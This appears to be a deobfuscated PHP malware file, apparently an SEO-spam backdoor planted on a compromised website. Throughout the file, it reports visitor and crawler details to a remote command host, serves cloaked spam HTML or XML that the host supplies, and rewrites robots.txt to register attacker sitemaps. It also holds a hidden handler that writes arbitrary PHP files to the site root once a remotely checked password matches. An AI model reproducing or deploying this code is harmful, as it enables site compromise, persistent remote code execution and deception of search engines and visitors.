/* Decoded by unphp.net */
goto W3xHj; pPUu_: $htag = trim(daag($web)); goto V1gk4; V1gk4: if (!strstr($htag, "nobotuseragent")) { if (strstr($htag, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htag = str_replace("okhtmlgetcontent", '', $htag); echo $htag; die; } else { if (strstr($htag, "okxmlgetcontent")) { $htag = str_replace("okxmlgetcontent", '', $htag); @header("Content-type: text/xml"); echo $htag; die; } else { if (strstr($htag, "pingxmlgetcontent")) { $htag = str_replace("pingxmlgetcontent", '', $htag); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htag); die; } } } } goto f1fSz; P5Rk0: @ignore_user_abort(1); goto FMNo4; EHqgn: function ishtt() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto BlQkF; cJRbY: $ddur_tmp = st_uri(); goto UojgB; W3xHj: @set_time_limit(3600); goto P5Rk0; UojgB: if ($ddur_tmp == '') { $ddur_tmp = "/"; } goto Q1Lih; Rntu0: if (ishtt()) { $http = "https"; } else { $http = "http"; } goto cJRbY; ZDM8A: if (@$_GET["pd"] != '') { $acot = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($acot, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "User-agent: *" . "\xd
" . "Allow: /"; } $sturs = $http . "://" . $host . "/" . $acot; if (stristr($data, $sturs)) { echo "
sitemap already added!
"; } else { if (file_put_contents($file_path, trim($data) . "\xd
" . "Sitemap: " . $sturs)) { echo "
ok
"; } else { echo "
false!
"; } } } else { echo "
false!
"; } if (strstr($acot, ".p" . "hp")) { if (sha1(sha1(@$_GET["a"])) == daag($htwe . "://" . $towe . "/a.p" . "hp")) { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $acot, $dstr)) { echo "ok"; } } } } die; } goto OhSDV; kirE8: $lag = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto hbvg4; BlQkF: $host = $_SERVER["HTTP_HOST"]; goto kirE8; hbvg4: $lag = urlencode($lag); goto EQOia; OhSDV: $web = $htwe . "://" . $towe . "/inde.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $ddur . "&urlshang=" . $usse . "&http=" . $http . "&lang=" . $lag; goto pPUu_; Q1Lih: $ddur = urlencode($ddur_tmp); goto DNXwS; FMNo4: $goto = "rmvj"; goto V_odJ; P5big: if (isset($_SERVER["HTTP_REFERER"])) { $usse = $_SERVER["HTTP_REFERER"]; $usse = urlencode($usse); } goto ZDM8A; V_odJ: $htwe = "http"; goto Rntu0; N66Fb: function sbot() { $uaget = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uaget, "googlebot") || stristr($uaget, "bing") || stristr($uaget, "yahoo") || stristr($uaget, "google") || stristr($uaget, "Googlebot") || stristr($uaget, "googlebot")) { return true; } else { return false; } } goto F87vs; fmBBA: $towe = $goto . ".mantbn" . ".xyz"; goto EHqgn; f1fSz: function pingmap($url) { $url_arr = explode("\xd
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "
"; } return $return_str; } goto N66Fb; EQOia: $usse = ''; goto P5big; F87vs: function daag($url) { $ficonts = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto yPtrX; DNXwS: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $ddur = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $ddur; } goto fmBBA; yPtrX: ?>